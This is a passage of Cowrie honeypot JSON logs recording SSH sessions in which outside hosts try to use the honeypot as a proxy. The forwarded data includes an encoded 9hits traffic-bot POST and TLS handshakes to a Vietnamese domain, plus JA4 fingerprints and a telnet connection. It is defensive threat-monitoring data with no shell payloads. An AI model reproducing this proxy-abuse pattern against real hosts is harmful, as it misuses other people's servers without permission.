{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:01.965010Z","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:02.077302Z","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:02.253471Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; CPH2083) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fX4%2BVXhEWmpDPElGcDF1Rw%3D%3Dv9TOvRKOXxB8C8pNGqUuEpVoj4RzQ1aaXNg1ZDorlNHX0EPy3ZNRKitNiX%2B1b8Gp1vjd3LPs7Uqhe4UPyWukRq%2FWfI9Mf9nMK2yKe1I%2BH8deRM9wW%2BLGperNoZGooXF2VUvBBuuzUhjTLSmi6POLhaUKaztgZ1XFhi3hsWZqn3TsMRBPRllK8Dev0bdTJChywyPDkCYW2Ar6tF1fBdiRcRlzx1O0KWWkMA2NbzkjFdR%2FEt%2Fl5D%2FtymBN3CCYUI738pLWCVs0J0XiaUySYEn%2FE93yvtQo0oVgs%2FkV8ifpFSzeW8bDBkVhe%2BAuxjVx4nxcWUEEoi5ZF3ojt8Ab6YoJ8KP0Gg5dj8Y5%2FPUpO6ZcKPoeVOxnnyd6sk0%2FBPNRQQ1ss6a9CuZpXohKRlGP3lkf4izLr8TS42LV09FDXyOGyjIurVErYgI527H7KfeSt987DWIwU4OwpNj7zcbNlHmvSX0cRxzzTEqcQKDnv74%2B5ZzeflR5hcU0hX24CX8mvWNriQ2HKRvqY%2BQSn5MPaEJSaEHjGCUHQcJCaIfrATZZzhWMJxSvJTwlCMfdstAQDogITrlEmgPq%2BI%2FBS7uT0f4p%2BHeZwB5OQEjaAwEr2CBdDFrFi6jKd9nxR9W6O4PKhtDIxpcaoABt1tA8P%2BGc4epVmgzSKMWG6%2FI0K8gr5%2Fco%2BoLL27yx4Uf3jCJC%2Fazj1ItjVhxK3bMyc5Cv0cnmQvkyJ7jAyyjNVr6PY5O6g2ayc32CYYeGqtKioxXlnYmyg9FaTFQw5X%2BdnVkHZgnXtaTGWq6mTWmdOe983QiwXXEyTvUe5EH2HZqegpgobGclp7nfliCCtjGqaaPUe43Xj1fFgp8zxVHwL2yb%2Bnvgr6XLuMynLBlXoUut5E17kDeoAtz54qvDweYV%2FvrFJIwUAG7itelrHDMHxGOBTET2i1CblT7DGHPNPynZgQXQ%2FXhX%2BpFwg12ex1WWgOA2j5Th6GOuG9rwpjMfbruh5SSInAkE2EO7UYQknCGEzYnnEeW7ZK9geyt7i3f62kS%2FUIoMljdFoBH4ixdcAe9HMLoLwBVpiNwTLV0qLY8DT6MdolulIQPe'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; CPH2083) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fX4%2BVXhEWmpDPElGcDF1Rw%3D%3Dv9TOvRKOXxB8C8pNGqUuEpVoj4RzQ1aaXNg1ZDorlNHX0EPy3ZNRKitNiX%2B1b8Gp1vjd3LPs7Uqhe4UPyWukRq%2FWfI9Mf9nMK2yKe1I%2BH8deRM9wW%2BLGperNoZGooXF2VUvBBuuzUhjTLSmi6POLhaUKaztgZ1XFhi3hsWZqn3TsMRBPRllK8Dev0bdTJChywyPDkCYW2Ar6tF1fBdiRcRlzx1O0KWWkMA2NbzkjFdR%2FEt%2Fl5D%2FtymBN3CCYUI738pLWCVs0J0XiaUySYEn%2FE93yvtQo0oVgs%2FkV8ifpFSzeW8bDBkVhe%2BAuxjVx4nxcWUEEoi5ZF3ojt8Ab6YoJ8KP0Gg5dj8Y5%2FPUpO6ZcKPoeVOxnnyd6sk0%2FBPNRQQ1ss6a9CuZpXohKRlGP3lkf4izLr8TS42LV09FDXyOGyjIurVErYgI527H7KfeSt987DWIwU4OwpNj7zcbNlHmvSX0cRxzzTEqcQKDnv74%2B5ZzeflR5hcU0hX24CX8mvWNriQ2HKRvqY%2BQSn5MPaEJSaEHjGCUHQcJCaIfrATZZzhWMJxSvJTwlCMfdstAQDogITrlEmgPq%2BI%2FBS7uT0f4p%2BHeZwB5OQEjaAwEr2CBdDFrFi6jKd9nxR9W6O4PKhtDIxpcaoABt1tA8P%2BGc4epVmgzSKMWG6%2FI0K8gr5%2Fco%2BoLL27yx4Uf3jCJC%2Fazj1ItjVhxK3bMyc5Cv0cnmQvkyJ7jAyyjNVr6PY5O6g2ayc32CYYeGqtKioxXlnYmyg9FaTFQw5X%2BdnVkHZgnXtaTGWq6mTWmdOe983QiwXXEyTvUe5EH2HZqegpgobGclp7nfliCCtjGqaaPUe43Xj1fFgp8zxVHwL2yb%2Bnvgr6XLuMynLBlXoUut5E17kDeoAtz54qvDweYV%2FvrFJIwUAG7itelrHDMHxGOBTET2i1CblT7DGHPNPynZgQXQ%2FXhX%2BpFwg12ex1WWgOA2j5Th6GOuG9rwpjMfbruh5SSInAkE2EO7UYQknCGEzYnnEeW7ZK9geyt7i3f62kS%2FUIoMljdFoBH4ixdcAe9HMLoLwBVpiNwTLV0qLY8DT6MdolulIQPe'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:02.256938Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:02.533711Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q5\\xc3\\xdb0\\xd2\\x04\\x91A\\x15\\xaf0\\xf2h\\xe0n\\x0fb\\xf9\\x06g\\xe44\\xfd\\xa9I\\xce&|\\xb9z\\xd1 l\\xe7\\xe3J\\xc8Q\\x99\\x01T\\xc4\\xfdOz\\x1c\\xcc\\xcdjZ\\xac\\xe6M\\xc0\\xba\\x88\\x9b\\xfa\\xdf\\xfe\\xa9\\x8e\\x88\\x15\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xbaf\\x06\\xcb\\x0b\\xffLb\\x05\\xfc\\x01\\x17\\xa4f\\x80r\\x00>\\xf7\\x17\\xb6c\"i\\x88*7\\x0e,\\x12N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q5\\xc3\\xdb0\\xd2\\x04\\x91A\\x15\\xaf0\\xf2h\\xe0n\\x0fb\\xf9\\x06g\\xe44\\xfd\\xa9I\\xce&|\\xb9z\\xd1 l\\xe7\\xe3J\\xc8Q\\x99\\x01T\\xc4\\xfdOz\\x1c\\xcc\\xcdjZ\\xac\\xe6M\\xc0\\xba\\x88\\x9b\\xfa\\xdf\\xfe\\xa9\\x8e\\x88\\x15\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xbaf\\x06\\xcb\\x0b\\xffLb\\x05\\xfc\\x01\\x17\\xa4f\\x80r\\x00>\\xf7\\x17\\xb6c\"i\\x88*7\\x0e,\\x12N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:02.536685Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:03.100360Z","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:03.407657Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6y\\xfeN\\x9bO\\x07\\x8f>\\xe11\\xb9\\n\\xb4\\xf5\\xc9j\\x17#\\xefY\\xe0i*nP\\xb0}\\xe4\\xb7z\\x98 Z\\x86\\x8d\\xc2-\\x00\\xbfI\\xff\\x0f\\\\/\\x8e\\xb7\\x1e\\x10\\xf1$\\xc9l\\x86\\x00/H\\x05\\x1fU\\x17\\xa0\\xfc\\xe2:\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\tJ\\xd6\\xc8Y\\xbb\\xff;3\\x17\\x99-\\x82\\x19\\x94sA\\xb9\\x11\\xb8.\\xa4\\xc4~fp<#\\xc1}2_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6y\\xfeN\\x9bO\\x07\\x8f>\\xe11\\xb9\\n\\xb4\\xf5\\xc9j\\x17#\\xefY\\xe0i*nP\\xb0}\\xe4\\xb7z\\x98 Z\\x86\\x8d\\xc2-\\x00\\xbfI\\xff\\x0f\\\\/\\x8e\\xb7\\x1e\\x10\\xf1$\\xc9l\\x86\\x00/H\\x05\\x1fU\\x17\\xa0\\xfc\\xe2:\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\tJ\\xd6\\xc8Y\\xbb\\xff;3\\x17\\x99-\\x82\\x19\\x94sA\\xb9\\x11\\xb8.\\xa4\\xc4~fp<#\\xc1}2_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:03.420844Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:03.872042Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":51190,"dst_ip":"10.17.0.5","dst_port":23,"session":"66e4843d345d","protocol":"telnet","message":"New connection: 94.23.66.112:51190 (10.17.0.5:23) [session: 66e4843d345d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:05.740121Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:06.665207Z","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:06.727850Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\x8e\\xcc\\x03\\xc6\\x86\\xd2`\\x06\\xdf\\x1c\\xeb\\xc6\\x93=-0\\xa4S\\xb7\\xfej\\xff\\xddG\\xd4\\x0e\\\\w%\\xbd\\x0b hy\\x06\\xec[\\xe0\\xc5\\xb6s(\\xcd\\xe2r\\xd6\\x88\\xdb\\xddW2u\\x87\\x19\\x85,AI\\xda\\x8fG\\xcb\\x1f\\xb5\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xf6\\xa95#:SZ\\xd4\\x07C\\x10\\x07Q\\x8f0-,\\x10\\x03\\x82\\xe5T\\x03\\xf1\\x108\\xf6>=Ja\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp 